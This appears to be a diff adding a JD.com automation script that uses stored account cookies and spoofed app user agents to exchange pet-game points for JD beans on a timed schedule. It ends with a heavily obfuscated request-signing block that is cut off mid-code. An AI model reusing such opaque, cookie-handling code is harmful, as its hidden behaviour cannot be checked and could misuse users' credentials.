+//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://jdjoy.jd.com'; +Date.prototype.Format = function (fmt) { //author: meizz + var o = { + "M+": this.getMonth() + 1, //月份 + "d+": this.getDate(), //日 + "h+": this.getHours(), //小时 + "m+": this.getMinutes(), //分 + "s+": this.getSeconds(), //秒 + "S": this.getMilliseconds() //毫秒 + }; + if (/(y+)/.test(fmt)) fmt = fmt.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length)); + for (var k in o) + if (new RegExp("(" + k + ")").test(fmt)) fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length))); + return fmt; +} +!(async () => { + if (!cookiesArr[0]) { + $.msg('【京东账号一】宠汪汪积分兑换奖品失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = '' || $.UserName; + await TotalBean(); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + // if ($.isNode()) { + // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + // } + continue + } + // console.log(`本地时间与京东服务器时间差(毫秒):${await get_diff_time()}`); + console.log(`脚本开始请求时间 ${(new Date()).Format("yyyy-MM-dd hh:mm:ss | S")}`); + await joyReward(); + } + } + if ($.isNode() && allMessage && $.ctrTemp) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function joyReward() { + try { + await getExchangeRewards(); + if ($.getExchangeRewardsRes && $.getExchangeRewardsRes.success) { + // console.log('success', $.getExchangeRewardsRes); + const data = $.getExchangeRewardsRes.data; + // const levelSaleInfos = data.levelSaleInfos; + // const giftSaleInfos = levelSaleInfos.giftSaleInfos; + // console.log(`当前积分 ${data.coin}\n`); + // console.log(`宠物等级 ${data.level}\n`); + let saleInfoId = '', giftValue = '', extInfo = '', leftStock = 0, salePrice = 0; + let rewardNum = 0; + if ($.isNode() && process.env.JD_JOY_REWARD_NAME) { + rewardNum = process.env.JD_JOY_REWARD_NAME * 1; + } else if ($.getdata('joyRewardName')) { + if ($.getdata('joyRewardName') * 1 === 1) { + //兼容之前的BoxJs设置 + rewardNum = 20; + } else { + rewardNum = $.getdata('joyRewardName') * 1; + } + } else { + rewardNum = joyRewardName; + } + let giftSaleInfos = 'beanConfigs0'; + let time = new Date($.getExchangeRewardsRes['currentTime']).getHours(); + if (time >= 0 && time < 8) { + giftSaleInfos = 'beanConfigs0'; + } + if (time >= 8 && time < 16) { + giftSaleInfos = 'beanConfigs8'; + } + if (time >= 16 && time < 24) { + giftSaleInfos = 'beanConfigs16'; + } + console.log(`\ndebug场次:${giftSaleInfos}\n`) + for (let item of data[giftSaleInfos]) { + console.log(`${item['giftName']}当前库存:${item['leftStock']},id:${item.id}`) + if (item.giftType === 'jd_bean' && item['giftValue'] === rewardNum) { + saleInfoId = item.id; + leftStock = item.leftStock; + salePrice = item.salePrice; + giftValue = item.giftValue; + } + } + // console.log(`${giftValue}京豆当前京豆库存:${leftStock}`) + // console.log(`saleInfoId:${saleInfoId}`) + // 兼容之前BoxJs兑换设置的数据 + if (rewardNum && (rewardNum === 1 || rewardNum === 20 || rewardNum === 50 || rewardNum === 100 || rewardNum === 500 || rewardNum === 1000)) { + //开始兑换 + if (salePrice) { + if (leftStock) { + if (!saleInfoId) return + // console.log(`当前账户积分:${data.coin}\n当前京豆库存:${leftStock}\n满足兑换条件,开始为您兑换京豆\n`); + console.log(`\n您设置的兑换${giftValue}京豆库存充足,开始为您兑换${giftValue}京豆\n`); + console.log(`脚本开始兑换${rewardNum}京豆时间 ${(new Date()).Format("yyyy-MM-dd hh:mm:ss | S")}`); + await exchange(saleInfoId, 'pet'); + console.log(`请求兑换API后时间 ${(new Date()).Format("yyyy-MM-dd hh:mm:ss | S")}`); + if ($.exchangeRes && $.exchangeRes.success) { + if ($.exchangeRes.errorCode === 'buy_success') { + // console.log(`兑换${giftValue}成功,【宠物等级】${data.level}\n【消耗积分】${salePrice}个\n【剩余积分】${data.coin - salePrice}个\n`) + console.log(`\n兑换${giftValue}成功,【消耗积分】${salePrice}个\n`) + if ($.isNode() && process.env.JD_JOY_REWARD_NOTIFY) { + $.ctrTemp = `${process.env.JD_JOY_REWARD_NOTIFY}` === 'false'; + } else if ($.getdata('jdJoyRewardNotify')) { + $.ctrTemp = $.getdata('jdJoyRewardNotify') === 'false'; + } else { + $.ctrTemp = `${jdNotify}` === 'false'; + } + if ($.ctrTemp) { + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【${giftValue}京豆】兑换成功🎉\n【积分详情】消耗积分 ${salePrice}`); + if ($.isNode()) { + allMessage += `【京东账号${$.index}】 ${$.nickName}\n【${giftValue}京豆】兑换成功🎉\n【积分详情】消耗积分 ${salePrice}${$.index !== cookiesArr.length ? '\n\n' : ''}` + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】 ${$.nickName}\n【${giftValue}京豆】兑换成功\n【宠物等级】${data.level}\n【积分详情】消耗积分 ${salePrice}, 剩余积分 ${data.coin - salePrice}`); + } + } + // if ($.isNode()) { + // await notify.BarkNotify(`${$.name}`, `【京东账号${$.index}】 ${$.nickName}\n【兑换${giftName}】成功\n【宠物等级】${data.level}\n【消耗积分】${salePrice}分\n【当前剩余】${data.coin - salePrice}积分`); + // } + } else if ($.exchangeRes && $.exchangeRes.errorCode === 'buy_limit') { + console.log(`\n兑换${rewardNum}京豆失败,原因:兑换京豆已达上限,请把机会留给更多的小伙伴~\n`) + //$.msg($.name, `兑换${giftName}失败`, `【京东账号${$.index}】${$.nickName}\n兑换京豆已达上限\n请把机会留给更多的小伙伴~\n`) + } else if ($.exchangeRes && $.exchangeRes.errorCode === 'stock_empty'){ + console.log(`\n兑换${rewardNum}京豆失败,原因:当前京豆库存为空\n`) + } else if ($.exchangeRes && $.exchangeRes.errorCode === 'insufficient'){ + console.log(`\n兑换${rewardNum}京豆失败,原因:当前账号积分不足兑换${giftValue}京豆所需的${salePrice}积分\n`) + } else { + console.log(`\n兑奖失败:${JSON.stringify($.exchangeRes)}`) + } + } else { + console.log(`\n兑换京豆异常:${JSON.stringify($.exchangeRes)}`) + } + } else { + console.log(`\n按您设置的兑换${rewardNum}京豆失败,原因:京豆库存不足,已抢完,请下一场再兑换\n`); + } + } else { + // console.log(`兑换${rewardNum}京豆失败,原因:您目前只有${data.coin}积分,已不足兑换${giftValue}京豆所需的${salePrice}积分\n`) + //$.msg($.name, `兑换${giftName}失败`, `【京东账号${$.index}】${$.nickName}\n目前只有${data.coin}积分\n已不足兑换${giftName}所需的${salePrice}积分\n`) + } + } else { + console.log(`\n您设置了不兑换京豆,如需兑换京豆,请去BoxJs处设置或修改joyRewardName代码或设置环境变量 JD_JOY_REWARD_NAME`) + } + } else { + console.log(`${$.name}getExchangeRewards异常,${JSON.stringify($.getExchangeRewardsRes)}`) + } + } catch (e) { + $.logErr(e) + } +} +function getExchangeRewards() { + let opt = { + url: "//jdjoy.jd.com/common/gift/getBeanConfigs?reqSource=h5&invokeKey=Oex5GmEuqGep1WLC", + method: "GET", + data: {}, + credentials: "include", + header: {"content-type": "application/json"} + } + return new Promise((resolve) => { + const option = { + url: "https:"+ taroRequest(opt)['url'], + headers: { + "Host": "jdjoy.jd.com", + "Content-Type": "application/json", + "Cookie": cookie, + "reqSource": "h5", + "Connection": "keep-alive", + "Accept": "*/*", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://jdjoy.jd.com/pet/index", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br" + }, + } + $.get(option, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.getExchangeRewardsRes = {}; + if (safeGet(data)) { + $.getExchangeRewardsRes = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }) +} +function exchange(saleInfoId, orderSource) { + let body = {"buyParam":{"orderSource":orderSource,"saleInfoId":saleInfoId},"deviceInfo":{}} + let opt = { + "url": "//jdjoy.jd.com/common/gift/new/exchange?reqSource=h5&invokeKey=Oex5GmEuqGep1WLC", + "data":body, + "credentials":"include","method":"POST","header":{"content-type":"application/json"} + } + return new Promise((resolve) => { + const option = { + url: "https:"+ taroRequest(opt)['url'], + body: `${JSON.stringify(body)}`, + headers: { + "Host": "jdjoy.jd.com", + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Content-Type": "application/json", + "Origin": "https://jdjoy.jd.com", + "reqSource": "h5", + "Connection": "keep-alive", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://jdjoy.jd.com/pet/index", + "Content-Length": "10", + "Cookie": cookie + }, + } + $.post(option, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(`兑换结果:${data}`); + $.exchangeRes = {}; + if (safeGet(data)) { + $.exchangeRes = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getJDServerTime() { + return new Promise(resolve => { + // console.log(Date.now()) + $.get({url: "https://a.jd.com//ajax/queryServerData.html",headers:{ + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + }}, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} 获取京东服务器时间失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.jdTime = data['serverTime']; + // console.log(data['serverTime']); + // console.log(data['serverTime'] - Date.now()) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve($.jdTime); + } + }) + }) +} +async function get_diff_time() { + // console.log(`本机时间戳 ${Date.now()}`) + // console.log(`京东服务器时间戳 ${await getJDServerTime()}`) + return Date.now() - await getJDServerTime(); +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +var _0xodV='jsjiami.com.v6',_0x3589=[_0xodV,'AMO6wrh8','w5FmZQ==','w7oZwrIXLQ==','w50Bw5tGwpd6w5k=','GsOTwqvDn8Kl','w6IAcsOBwpg=','NcOgAVos','EcOFE8OBaA==','w7sew75xwq0=','wpbCvyc=','wpnDsA/CvSTDnUTCrsKxw7fDjsKC','w4/ClMOVwoltX8OmEhg/w6VE','bEh1','fUhcwrk=','w4BzYS57w7QwMmXDjnjCh1lQBDfDu8KiwojCm8OBw59EQsO2wqg4JsOESsKTZGk=','wqDCuXLCisOeahfDtxo=','w7shKMO5wozCg205woXCvFciw4gIw7ttw5nDqcORbcOhwrjCucKtCsONX8K8J04/RA==','wrbCjMOKKMKGTAzCtcKOwqXCl0TDvMOEwrRz','LUwMwp19MxQiw6fDvMKLcg==','w54we8OJwr1Y','w6EDwogjKQ==','TmDDmkwM','wrbDnmVuXw==','aElM','JMOFQcKv','w7d8UBpG','w7oSw4M=','aHzDpiU=','w68dw5LDssOr','w446w7p6wps=','KHvCoWbDpg==','N8OrwqpBwqE=','KkgfdcKb','w7YtQsOLwro=','w5rCg8OZwpxj','w4MedsO+','fsKFwo3DumHDgw==','NEwEwr0=','JkYB','L8OWwr3DksKQ','w7TCucOPwpJb','Z0hGwqM=','JGY5U8KJ','wpbDjsOnw5R/Ni8=','OMOrEcOATg==','w5zCncKgcm0=','W0PDuXgZ','w6JzQQ==','woZsw7w/','w7sMw4bCrMON','BcONEw==','wqVqw5kXw4fCssKa','JkgVQA==','w5HCssKb','wrslFA==','a8KuJsKkXQ==','w41AeBNcJipqwq7ClQ==','w7IrasO3AMOoFcOo','LkkS','OMOeIw==','w4vDscOjbcKJ','wrjDvhLCrHfChw==','CcOtwpvClsOOw59/fA4=','w69sWw==','wrfCiMKfb8OMWkw=','CmXCocKa','w4gvw7c=','w5gaaw==','w5YvWsOwRQ==','wqd3w4lzw6zDm8KsaQ==','JMOMLA==','R8KfwrJt','BcOedMOjLS/CsMKd','wpbCv23Dgg==','wqbCpWg=','w4kMw4fCusKewo0=','w4Q3R8OPwrdawobDh8Kt','wqLDgHxJaA==','McOOCkcZ','w4Q4wqg9Iw==','XGHDt1ok','BBHChsKswp8=','w7TDlcKZ','woHCqnjCn8KcMQ==','MRLCpsKJwpjDjsOhwrs=','YVl7AA==','w4VMcQg=','wqYlAA==','DcOMwpjCssOp','VEZ8wqHCiQ==','w5QBw59F','wqbCqBLDpRA=','PCNQwqMhGsOP','wrlfw7tVw7k=','HMOBCMOGaA==','w6Eqw5XCjcOP','w4k7w6VCwrc=','AMOybMO7Fg==','JsOfZcOGNQ==','w7JWGig3','PCNXwqosMcOMwqk=','w6NtPQ==','w5pGWw9LPTBo','w41iQjVB','w680w5nDsMOg','DlPCsMKlwqc=','w41mfyVmw78=','w4gPw5jCh8Os','McOqNm47','w71ndTBR','woDCucKSXsOd','wr7DsFZT','w40Bw4Rf','w5gawpM=','TkVDwpXCnA==','F8O/wptQwpg=','Fg5AwrAO','OsOcD2rCgw==','worClMK6f8OT','wpTDji7CgAc=','wpDDmMOlw4B+','w4ltehJY','w4hdDTUt','w5smW8OBwq1V','w4wjbcOwIg==','w60+w5XCjcOe','wpnDs8Oiw6Nx','AsOEwrPDvMKy','L3PCrFTDpQ==','w6XClcOYwpF9VcO3TA==','DU0ecsKw','wqLDkjXCsQc=','wrDDiATCvyo=','w7nClcKhVQ==','wr3Cnx3DuiLCjw==','w6fCnsOCwo4=','WUxt','w6Erwq06Gg==','wp8UPsKbEA==','eMKEwr07','w4Awwq8VGg==','wqIqFMKVGMOnCw==','w70NwpMQLQ==','dX7DsFwP','w7YYw4Zqwr8=','wrLDqRHCiAY=','PsOwGcOVSA==','PS9SwoQT','woFlw7cTw5E=','MC5hwoAd','wrEpwrPDiAs=','w7EBRsO0wrI=','w73DnsKUwpDCgXI=','w6fCiMO2wo9H','woZbw7Vpw5w=','w7RAfixQ','e8KOwoDDsWDDj8O0w6c=','VGbDo3E9w6Nmwos=','w5wew5PCsMOP','w4AZacOPw5Q=','A8OUV8O7PiXCuw==','w7jDt8O/aMK+','w5AVwoA=','wqrDlMOlwok=','FMOfRA==','EE7Ds8KtUEY=','w4jDpMOjd8KCBMO7w7XDgQ==','e8KFwrc5wonCncOFFw==','c8Oww4DDl8KnLwDCpA==','wrDDnX9ZVA==','UMKnwozDj1s=','w60Zw5DDrcOvwpjDnQ==','d8KjwoQswo8=','M8O2SMOFEQ==','wr3DsE5EQis=','w74fw5g=','wqVqw5gTw4w=','w7EjwpIFMw==','wqt3L8Ktw4DCrzI=','wrzDg8OEw6Fz','w4FFWy5G','wowcGcKZKQ==','fGhoUjk=','w5ItVg==','H8OxwrE=','w7YlS8OwFw==','wpHCjMKPeMKDHg==','wqbDoV1JST4GwpjCow==','McO+CA==','IMOtIyzDvHzCtQ==','wr7CgsKYeA==','FMOWwoo=','O0YV','FRbClsKOw50=','w4BWOw==','T8Oqw4XCgw==','wrZ2GMK8w4rCiTpn','wr42HA==','w6HCnsOPwpVnVQ==','N8OLCXPChw==','w4sJw7nDjsOI','w68Mw4DCvg==','wpfDhcOiw5ViCw==','EMOvL8OZZg==','wovDj8OPw55wHDtvw7bDqMKF','wrrCnwrDnjnCg1k=','Xll8dms=','wpgNA8K7Jw==','w7xcACsT','em5wdC8=','S8KPwowHwrI=','w6QuQMOrw5g=','w555ejtt','WcOWw7LDv8Ko','w6XDlMK2wpjCgn8ETMK/wpJr','PMOxwrDDjg==','w5kewo02HsKZ','w7bDtMKke8KCAMO9w7fDnQ==','wonCkSvDuCQ=','w6QBbMOqHw==','YG9FRSs=','w7/CiMOBwrdZ','WMO/w5DDnsOkfyDCuQ5CwoFm','U8KFwpDDmHvDiMOjw60Mw7M=','NcORwrJFwoE=','w6fCvsO3wr1jw6vCtAgM','H18aV8K9','H0vCtcKtCBF1JcKL','Bw9YwosM','BsOaccOYKw==','w58QWcOCw6o=','w4DCssOuwqZO','PcOfHHLCgw==','A8OswqLDj8KA','w6c3SsOqFcOv','G8OqwprClsOHw5Y=','wpNVw5kQw5k=','aVVgXDY=','M8ONIlA+','HMOXCXHCsA==','w5Eqw7XDlcO0','w6vDgMOCe8KA','e8KFwo/DvHI=','jsjieAami.comZQUzGZKM.Fqvy6Jt=='];(function(_0x4bd822,_0x2bd6f7,_0xb4bdb3){var _0x1d68f6=function(_0x3e105c,_0xc95be1,_0xcc5f36,_0x1a5687,_0x23c90b){_0xc95be1=_0xc95be1>>0x8,_0x23c90b='po';var _0x5d93df='shift',_0x1f243b='push';if(_0xc95be1<_0x3e105c){while(--_0x3e105c){_0x1a5687=_0x4bd822[_0x5d93df]();if(_0xc95be1===_0x3e105c){_0xc95be1=_0x1a5687;_0xcc5f36=_0x4bd822[_0x23c90b+'p']();}else if(_0xc95be1&&_0xcc5f36['replace'](/[eAZQUzGZKMFqyJt=]/g,'')===_0xc95be1){_0x4bd822[_0x1f243b](_0x1a5687);}}_0x4bd822[_0x1f243b](_0x4bd822[_0x5d93df]());}return 0x771ce;};return _0x1d68f6(++_0x2bd6f7,_0xb4bdb3)>>_0x2bd6f7^_0xb4bdb3;}(_0x3589,0xec,0xec00));var _0x50c1=function(_0x5c10af,_0x1f4691){_0x5c10af=~~'0x'['concat'](_0x5c10af);var _0x5bb874=_0x3589[_0x5c10af];if(_0x50c1['klyzIc']===undefined){(function(){var _0x437fd3=function(){var _0x504885;try{_0x504885=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x358292){_0x504885=window;}return _0x504885;};var _0x1f0ec7=_0x437fd3();var _0x1b39dc='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x1f0ec7['atob']||(_0x1f0ec7['atob']=function(_0x5f1d5f){var _0x579713=String(_0x5f1d5f)['replace'](/=+$/,'');for(var _0x1bcc49=0x0,_0x28d1f2,_0x31f98e,_0x3a5085=0x0,_0x52f8c8='';_0x31f98e=_0x579713['charAt'](_0x3a5085++);~_0x31f98e&&(_0x28d1f2=_0x1bcc49%0x4?_0x28d1f2*0x40+_0x31f98e:_0x31f98e,_0x1bcc49++%0x4)?_0x52f8c8+=String['fromCharCode'](0xff&_0x28d1f2>>(-0x2*_0x1bcc49&0x6)):0x0){_0x31f98e=_0x1b39dc['indexOf'](_0x31f98e);}return _0x52f8c8;});}());var _0x287809=function(_0x4dca12,_0x1f4691){var _0x172c88=[],_0x12e77f=0x0,_0x5b3a5f,_0x1064fc='',_0x26c85e='';_0x4dca12=atob(_0x4dca12);for(var _0x50b5c4=0x0,_0x4e9f15=_0x4dca12['length'];_0x50b5c4<_0x4e9f15;_0x50b5c4++){_0x26c85e+='%'+('00'+_0x4dca12['charCodeAt'](_0x50b5c4)['toString'](0x10))['slice'](-0x2);}_0x4dca12=decodeURIComponent(_0x26c85e);for(var _0x36a5b1=0x0;_0x36a5b1<0x100;_0x36a5b1++){_0x172c88[_0x36a5b1]=_0x36a5b1;}for(_0x36a5b1=0x0;_0x36a5b1<0x100;_0x36a5b1++){_0x12e77f=(_0x12e77f+_0x172c88[_0x36a5b1]+_0x1f4691['charCodeAt'](_0x36a5b1%_0x1f4691['length']))%0x100;_0x5b3a5f=_0x172c88[_0x36a5b1];_0x172c88[_0x36a5b1]=_0x172c88[_0x12e77f];_0x172c88[_0x12e77f]=_0x5b3a5f;}_0x36a5b1=0x0;_0x12e77f=0x0;for(var _0x3385b7=0x0;_0x3385b7<_0x4dca12['length'];_0x3385b7++){_0x36a5b1=(_0x36a5b1+0x1)%0x100;_0x12e77f=(_0x12e77f+_0x172c88[_0x36a5b1])%0x100;_0x5b3a5f=_0x172c88[_0x36a5b1];_0x172c88[_0x36a5b1]=_0x172c88[_0x12e77f];_0x172c88[_0x12e77f]=_0x5b3a5f;_0x1064fc+=String['fromCharCode'](_0x4dca12['charCodeAt'](_0x3385b7)^_0x172c88[(_0x172c88[_0x36a5b1]+_0x172c88[_0x12e77f])%0x100]);}return _0x1064fc;};_0x50c1['uNopam']=_0x287809;_0x50c1['bBBPYs']={};_0x50c1['klyzIc']=!![];}var _0x2685e3=_0x50c1['bBBPYs'][_0x5c10af];if(_0x2685e3===undefined){if(_0x50c1['MzNDcx']===undefined){_0x50c1['MzNDcx']=!![];}_0x5bb874=_0x50c1['uNopam'](_0x5bb874,_0x1f4691);_0x50c1['bBBPYs'][_0x5c10af]=_0x5bb874;}else{_0x5bb874=_0x2685e3;}return _0x5bb874;};function taroRequest(_0x4562b8){var _0x5e1be5={'Vxbak':function(_0x51c581,_0x5b34fe){return _0x51c581>_0x5b34fe;},'oAHvw':function(_0x301b4d,_0x45142b){return _0x301b4d>=_0x45142b;},'NmxTA':function(_0x4a7449,_0x35b5ad){return _0x4a7449+_0x35b5ad;},'fKyeQ':function(_0x55c935,_0x30de79){return _0x55c935+_0x30de79;},'PxtIu':function(_0x108ffa,_0x1f1c2c){return _0x108ffa===_0x1f1c2c;},'aonPe':_0x50c1('0','7^B*'),'Anwmc':_0x50c1('1','H4)l'),'wRaxF':function(_0x3ed935,_0x1dcb0a){return _0x3ed935>=_0x1dcb0a;},'jGaRg':function(_0x15d225,_0x1bf5cd){return _0x15d225+_0x1bf5cd;},'wUSiO':function(_0x29bc83,_0x377cd0){return _0x29bc83+_0x377cd0;},'plEXL':function(_0x14a436,_0x28dc15){return _0x14a436+_0x28dc15;},'qCKlI':function(_0x14014d,_0x2059f5){return _0x14014d!==_0x2059f5;},'aiwGl':_0x50c1('2','#o@B'),'AlsQu':_0x50c1('3','g8a8'),'WnBQj':_0x50c1('4','M4vD'),'CblXD':function(_0x338b17,_0x582862,_0x5b6da5){return _0x338b17(_0x582862,_0x5b6da5);},'pHyqn':function(_0x450ee2,_0xc9f580){return _0x450ee2 instanceof _0xc9f580;},'iYuZb':function(_0x13f9a2,_0x48a96a){return _0x13f9a2<_0x48a96a;},'zzWYr':function(_0x49fbc5,_0x4e09d8){return _0x49fbc5 instanceof _0x4e09d8;},'STnCh':function(_0x2af259,_0x1ae066){return _0x2af259||_0x1ae066;},'FjoWN':function(_0x588a20,_0x1f80db,_0x2aa526){return _0x588a20(_0x1f80db,_0x2aa526);},'CCtvW':function(_0x13b7c7,_0x39e512){return _0x13b7c7+_0x39e512;},'JgTsP':function(_0x2e2167,_0xd7f440){return _0x2e2167!==_0xd7f440;},'YyFbf':_0x50c1('5','IV09'),'nQOIF':_0x50c1('6','DOsV'),'oxfqy':_0x50c1('7','VKxZ'),'gDria':_0x50c1('8','@ri*'),'meULp':function(_0x476487,_0x10f522){return _0x476487<_0x10f522;},'fSaRv':_0x50c1('9','qs2T'),'XMTxF':function(_0x28b8e2,_0x4dbf6c){return _0x28b8e2+_0x4dbf6c;},'JWevk':function(_0x10ec95,_0x369849){return _0x10ec95>_0x369849;},'uKLDp':function(_0x4c38f4,_0x2d55b6){return _0x4c38f4>=_0x2d55b6;},'HvpAG':function(_0x43debb,_0x19bad6){return _0x43debb+_0x19bad6;},'hbfBJ':_0x50c1('a','qRp%'),'AaMvo':function(_0x206a17,_0x3a909b){return _0x206a17!==_0x3a909b;},'ecUFD':_0x50c1('b','S9Ns'),'FRjlU':_0x50c1('c','k1Z4'),'FBsRk':function(_0x1e4544,_0x26e31f){return _0x1e4544<_0x26e31f;},'ksMrO':function(_0x5e98b1,_0xeebb40){return _0x5e98b1===_0xeebb40;},'UConB':_0x50c1('d','#o@B'),'Wsgog':function(_0x1dcfcb,_0x6beb66){return _0x1dcfcb+_0x6beb66;},'CgnvR':function(_0x8d4df4,_0x737098){return _0x8d4df4+_0x737098;},'FXyGe':function(_0x5d6b80,_0x5cc42c){return _0x5d6b80===_0x5cc42c;},'GXiiI':_0x50c1('e','RHMX'),'wEitF':_0x50c1('f','qRp%'),'GpRjT':function(_0x370b36,_0x5bf5db){return _0x370b36===_0x5bf5db;},'TuYOF':_0x50c1('10','KG3M'),'fiFMi':function(_0x546b34,_0x9e5ce2){return _0x546b34===_0x9e5ce2;},'jtaNJ':_0x50c1('11','BG^f'),'SIsKG':_0x50c1('12','PoTt'),'YdXRN':function(_0x2f4dbf,_0x5b9186){return _0x2f4dbf!==_0x5b9186;},'qCqRP':_0x50c1('13','H4)l'),'LUOfF':_0x50c1('14','AgDC'),'CHQDz':_0x50c1('15','@ri*'),'XkXer':function(_0x269598,_0xd9b438){return _0x269598+_0xd9b438;},'bEUim':function(_0xa590e0,_0x5cad53){return _0xa590e0+_0x5cad53;},'kBDcT':function(_0x2dbc4d,_0x55e0b3){return _0x2dbc4d+_0x55e0b3;},'RBlMU':function(_0x5c5b2b,_0x113737){return _0x5c5b2b+_0x113737;},'TxkrC':function(_0x485ada,_0x50d1ab){return _0x485ada(_0x50d1ab);},'wkVOt':function(_0x7acc49,_0x5200f1){return _0x7acc49+_0x5200f1;},'MdGkP':function(_0x55e747,_0x24d20c,_0x597f8f){return _0x55e747(_0x24d20c,_0x597f8f);},'shZQD':_0x50c1('16','X[A!'),'cKJNx':_0x50c1('17','US(#'),'pTLQc':_0x50c1('18','UeQW'),'enbvr':function(_0x5a112c,_0x35db75){return _0x5a112c+_0x35db75;},'DXqTY':function(_0x1937b1,_0x21aed3){return _0x1937b1>_0x21aed3;},'CcGPt':_0x50c1('19','9qQF')};const _0x3e9406=$[_0x50c1('1a','k1Z4')]()?_0x5e1be5[_0x50c1('1b','qs2T')](require,_0x5e1be5[_0x50c1('1c','@1x0')]):CryptoJS;const _0x436006=_0x5e1be5[_0x50c1('1d','cmpJ')];const _0x248dc4=_0x3e9406[_0x50c1('1e','AgDC')][_0x50c1('1f','#s[4')][_0x50c1('20','*ii4')](_0x436006);const _0x12d918=_0x3e9406[_0x50c1('21','M4vD')][_0x50c1('22','@1x0')][_0x50c1('23','M4vD')](_0x5e1be5[_0x50c1('24','qRp%')]);let 